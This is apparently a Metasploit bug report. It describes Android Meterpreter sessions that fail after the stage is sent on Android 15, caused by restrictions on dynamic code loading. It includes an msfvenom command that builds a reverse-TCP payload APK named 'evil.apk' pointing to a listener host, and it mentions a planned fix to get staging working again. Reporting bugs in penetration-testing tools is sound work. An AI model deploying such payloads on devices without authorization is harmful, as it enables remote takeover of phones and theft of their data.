Android Sessions Die After Sending Stage - Android 15

[voraci0us]

Steps to reproduce

Using a Pixel 6 phone running Android 15 (SDK 35).
Created a payload .apk with

msfvenom -p android/meterpreter/reverse_tcp LHOST=10.129.114.9 LPORT=4444 -o evil.apk

This is due restrictions around dynamic code loading added in Android 14 (https://developer.android.com/about/versions/14/behavior-changes-14#safer-dynamic-code-loading). There is an easy backwards-compatible fix with File.setReadOnly() - will send a PR shortly.

Expected behavior

Stage sends / is run successfully and full Meterpreter session is opened.

Current behavior

Phone logs showing code loading error:

Sessions are opening but fail when stage times out:

Metasploit version

Framework: 6.4.55-dev-
Console : 6.4.55-dev-